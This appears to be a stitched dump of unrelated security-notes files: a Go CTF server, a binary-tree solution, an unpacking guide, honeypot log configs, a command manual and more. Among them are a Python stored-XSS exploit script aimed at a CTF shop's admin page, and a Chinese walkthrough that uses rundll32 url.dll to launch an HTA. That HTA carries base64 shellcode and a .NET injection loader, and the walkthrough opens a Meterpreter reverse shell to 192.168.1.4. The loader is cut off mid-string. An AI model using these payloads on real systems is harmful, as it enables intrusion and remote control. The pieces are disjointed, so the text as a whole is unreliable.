num_gates; i++ { gates := make([]byte, 1) io.ReadFull(conn, gates) gate := gates[0] primary_wire := (gate & 0x80) != 0 var gate_id byte var controlled bool if (gate & 0x7F) < 0x70 { controlled = false if bombs[gate&0x7F] { gate_id = G_M } else { gate_id = G_I } } else { controlled = (gate & 0x08) != 0 gate_id = (gate & 0x07) } if gate_id == G_M { // Can't control a measurement! Ignore 'controlled' flag state = measure_wire(state, primary_wire) } else { var matrix [2][2]complex128 if gate_id == G_P { // Phase gate in radians bytes := make([]byte, 8) io.ReadFull(conn, bytes) bits := binary.LittleEndian.Uint64(bytes) imag_part := math.Float64frombits(bits) factor := cmplx.Exp(complex(0, imag_part)) matrix = [2][2]complex128{{complex(1, 0), complex(0, 0)}, {complex(0, 0), factor}} } else { matrix = MATRICES[gate_id] } state = apply_gate(state, matrix, primary_wire, controlled) fmt.Println(state) // XXX } } res := byte(measure_final(state)) conn.Write([]byte{res}) } guess := make([]byte, 14) io.ReadFull(conn, guess) for ix, g := range guess { for i := 0; i < 8; i++ { var theirs bool = (g & (0x01 << uint16(7-i))) != 0 var ours bool = bombs[ix*8+i] if theirs != ours { fmt.Println(ix); fmt.Println(i); panic(UserError{"WRONG"}) } } } conn.Write(flag) conn.Close() } func main() { key, err := ioutil.ReadFile("flag.txt") if err != nil { panic(err) } fmt.Println(string(key)) flag = key if len(flag) > 50 { panic(UserError{"this doesn't happen"}) } listener, err := net.Listen("tcp", "0.0.0.0:8001") if err != nil { panic(err) } defer listener.Close() fmt.Println("Ready to rumble.") for { conn, err := listener.Accept() if err != nil { panic(err) } go handle_connection(conn) } }
sec-knowleage
# 7. 重建二叉树 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/8a19cbe657394eeaac2f6ea9b0f6fcf6?tpId=13&tqId=11157&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 根据二叉树的前序遍历和中序遍历的结果,重建出该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191102210342488.png" width="400"/> </div><br> ## 解题思路 前序遍历的第一个值为根节点的值,使用这个值将中序遍历结果分成两部分,左部分为树的左子树中序遍历结果,右部分为树的右子树中序遍历的结果。然后分别对左右子树递归地求解。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/60c4a44c-7829-4242-b3a1-26c3b513aaf0.gif" width="430px"> </div><br> ```java // 缓存中序遍历数组每个值对应的索引 private Map<Integer, Integer> indexForInOrders = new HashMap<>(); public TreeNode reConstructBinaryTree(int[] pre, int[] in) { for (int i = 0; i < in.length; i++) indexForInOrders.put(in[i], i); return reConstructBinaryTree(pre, 0, pre.length - 1, 0); } private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int inL) { if (preL > preR) return null; TreeNode root = new TreeNode(pre[preL]); int inIndex = indexForInOrders.get(root.val); int leftTreeSize = inIndex - inL; root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, inL); root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, inL + leftTreeSize + 1); return root; } ```
sec-knowleage
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; namespace Screenshoter { public partial class Form1 : Form { public Form1() { InitializeComponent(); } public void CaptureApplication(string procName, int i) { var proc = Process.GetProcessesByName(procName)[0]; var rect = new User32.Rect(); User32.GetWindowRect(proc.MainWindowHandle, ref rect); int width = rect.right - rect.left; int height = rect.bottom - rect.top; var bmp = new Bitmap(width, height, PixelFormat.Format32bppArgb); Graphics graphics = Graphics.FromImage(bmp); graphics.CopyFromScreen(rect.left, rect.top, 0, 0, new Size(width, height), CopyPixelOperation.SourceCopy); bmp.Save("frame" + i + ".png", ImageFormat.Png); } private class User32 { [StructLayout(LayoutKind.Sequential)] public struct Rect { public int left; public int top; public int right; public int bottom; } [DllImport("user32.dll")] public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect); } protected override void OnLoad(EventArgs e) { int i = 0; while (true) { i++; CaptureApplication("VLC", i); Thread.Sleep(500); SendKeys.Send("e"); Thread.Sleep(500); } base.OnLoad(e); } } }
sec-knowleage
# ESP 定律法 ESP定律法是脱壳的利器, 是应用频率最高的脱壳方法之一. ## 要点 ESP定律的原理在于利用程序中堆栈平衡来快速找到OEP. 由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用`pushad`, 在解压结束后, 会将之前的寄存器值出栈, 如使用`popad`. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的OEP位置. 1. 程序刚载入开始pushad/pushfd 2. 将全部寄存器压栈后就设对ESP寄存器设硬件断点 3. 运行程序, 触发断点 4. 删除硬件断点开始分析 ## 示例 示例程序可以点击此处下载: [2_esp.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/2_esp.zip) 还是上一篇的示例, 入口一句`pushad`, 我们按下F8执行`pushad`保存寄存器状态, 我们可以在右边的寄存器窗口里发现`ESP`寄存器的值变为了红色, 也即值发生了改变. 我们鼠标右击`ESP`寄存器的值, 也就是图中的`0019FF64`, 选择`HW break[ESP]`后, 按下`F9`运行程序, 程序会在触发断点时断下. 如图来到了`0040D3B0`的位置. 这里就是上一篇我们单步跟踪时到达的位置, 剩余的就不再赘述.
sec-knowleage
import re from time import sleep import requests s = requests.session() session = "XYZ" def main(): url = "https://fedora-shop.dctf-f1nals-2017.def.camp/complet.php" telephone_script = """ <script> window.onload=function(){ eval(document.getElementsByTagName('td')[15].innerText); }; </script> """ address_script = """ xhr = new XMLHttpRequest(); xhr.open('POST','/?action=add&code=wfedora',true); xhr.withCredentials=true; document.cookie='PHPSESSID=""" + session + """'; xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.send('quantity='+this.responseText); """ other_script = """ xhr = new XMLHttpRequest(); xhr.open('GET','/admin.php'); xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE){ eval(document.getElementsByTagName('td')[14].innerText); } }; xhr.send(); """ params = {"email": "a@b.cd", "telephone": "%s" % telephone_script, "address": address_script, "other": other_script, "ordersum": "1234", "tprice": "1234"} s.get("https://fedora-shop.dctf-f1nals-2017.def.camp/index.php?action=remove&code=wfedora", cookies={"PHPSESSID": session}) sleep(2) r = s.post(url, data=params, cookies={"PHPSESSID": session}) # print(r.text) while True: r = s.get("https://fedora-shop.dctf-f1nals-2017.def.camp/index.php", cookies={"PHPSESSID": session}) result = re.findall('DCTF.*', r.text) if len(result) > 0: break sleep(5) print(result[0]) main()
sec-knowleage
bmodinfo === 显示给定模块的详细信息 ## 补充说明 **bmodinfo命令** 用于显示给定模块的详细信息。 ### 语法 ```shell bmodinfo(选项)(参数) ``` ### 选项 ```shell -a:显示模块作者; -d:显示模块的描述信息; -l:显示模块的许可信息; -p:显示模块的参数信息; -n:显示模块对应的文字信息; -0:用ASCII码的0字符分割字段值,而不使用新行。 ``` ### 参数 模块名:要显示详细信息的模块名称。 ### 实例 显示sg模块的信息: ```shell [root@localhost ~]# modinfo sg filename: /lib/modules/2.6.9-42.ELsmp/kernel/drivers/scsi/sg.ko author: Douglas Gilbert description: SCSI generic (sg) driver license: GPL version: 3.5.31 B0B0CB1BB59F0669A1F0D6B parm: def_reserved_size:size of buffer reserved for each fd parm: allow_dio:allow direct I/O (default: 0 (disallow)) alias: char-major-21-* vermagic: 2.6.9-42.ELsmp SMP 686 REGPARM 4KSTACKS gcc-3.4 depends: scsi_mod ```
sec-knowleage
# 狩猎数据收集 ## OSINT数据 // ToDo ## 蜜罐数据采集 ### 部署Fapro节点 自动化运维工具可以参考:[Ansible](https://www.cnblogs.com/jijiguowang/p/10406063.html) 配置文件可参考:[fapro.json](https://github.com/satan1a/TheRoadOfSO/tree/master/docs/assets/fapro.json) ### 采集日志数据 #### 编写logstash管道文件 文件名为:`honeypot-seoul01-2022-01-30.yml` ```yml input { beats { port => "5044" type => "json" } } filter { json { source => "message" remove_field => ["message"] } } output { elasticsearch { hosts => ["XXXXXX:9200"] index => "honeypot-2022-01-30" user => "elastic" password => "YOUR_PASSWORD" } } ``` #### 编写filebeat管道文件 其中`paths`字段为需要导入的数据文件路径,其中的`hosts`字段为ES的主机地址和端口,文件名为:`filebeat-honeypot-seoul01-2022-01-30.yml` ```yml filebeat.inputs: - type: log paths: - /home/ubuntu/fapro.log output.logstash: hosts: ["XXXXXX:5044"] ``` #### 加载管道文件 先运行logstash ```bash /usr/share/logstash/bin/logstash -f honeypot-2022-01-30.yml --config.reload.automatic ``` 再跑filebeat ```bash /usr/share/filebeat/filebeat -e -c /home/ubuntu/filebeat-honeypot-2022-01-30.yml -d "publish" ``` ## 系统日志采集 // ToDo - Windows安全日志 - Windows powershell日志 - Windows sysmon日志 - linux audit日志 - HTTP_log - 应用日志(例如中间件日志)
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 ### Url.dll简介: url.dll是Internet快捷壳扩展相关应用程序接口系统文件。 **说明:**url.dll所在路径已被系统添加PATH环境变量中,因此,url.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。 Windows 2003 默认位置: ```bash C:\Windows\System32\url.dll C:\Windows\SysWOW64\url.dll ``` Windows 7 默认位置: ```bash C:\Windows\System32\url.dll C:\Windows\SysWOW64\url.dll ``` **攻击机:** 192.168.1.4 Debian **靶机:** 192.168.1.3 Windows 7 ### 配置攻击机msf: ```bash msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 ``` ![](media/34dcce4115809e6e8606cd1ef8322301.jpg) ### 靶机执行: ```bash rundll32.exe url.dll,FileProtocolHandler file://C:\Users\John\Desktop\Micropoor_url_dll.hta ``` ```bash msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.3 [*] Meterpreter session 5 opened (192.168.1.4:53 ‐> 192.168.1.3:5018) at 2019‐01‐21 04:41:43 ‐0500 meterpreter > getuid Server username: John‐PC\John meterpreter > getpid Current pid: 8584 ``` ![](media/35593539e0127b86c28eef1e16e5f52b.jpg) 同样可以调用url.dll下载payload: ```bash rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta ``` ### 附录:Micropoor_url_dll.hta ```visual basic <script language="VBScript"> Dim binary : binary = "rundll32.exe" Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMH PDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7 fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfV GhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1Z dqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmo AaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8M JA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=" Sub Debug(s) End Sub Sub SetVersion End Sub Function Base64ToStream(b) Dim enc, length, ba, transform, ms Set enc = CreateObject("System.Text.ASCIIEncoding") length = enc.GetByteCount_2(b) Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") Set ms = CreateObject("System.IO.MemoryStream") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) ms.Position = 0 Set Base64ToStream = ms End Function Sub Run Dim s, entry_class s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk" s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD" s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl" s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU" s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl" s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90" s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu" s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH" s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA" s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw" s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu" s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA" s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u" s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5" s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR" s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA" s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y" s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh" s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz" s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy" s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA" s = s & "AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA" s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA" s = s & "AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA" s = s & "AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA" s = s & "AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA" s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT" s = s & "MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA" s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME" s = s & "EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK" s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK" s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA" s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC" s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP" s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj" s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB" s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA" s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF" s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG" s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I" s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK" s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB" s = s & "AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG" s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB" s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW" s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD" s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG" s = s & "ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I" s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW" s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA" s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW" s = s & "IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg" s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+" s = s & "BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA" s = s & "BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA" s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA" s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB" s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG" s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ" s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA" s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ" s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA" s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ" s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB" s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu" s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA" s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB" s = s & "AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA" s = s & "AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN" s = s & "b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S" s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU" s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP" s = s & "TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB" s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF" s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT" s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP" s = s & "VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP" s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ" s = s & "VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU" s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD" s = s & "UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP" s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J" s = s & "Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X" s = s & "SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO" s = s & "SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy" s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs" s = s & "cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl" s = s & "cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW" s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1" s = s & "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJh" s = s & "ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmli" s = s & "dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0" s = s & "cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz" s = s & "ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5" s = s & "Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3" s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI" s = s & "RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n" s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD" s = s & "VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz" s = s & "SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ" s = s & "bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT" s = s & "ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt" s = s & 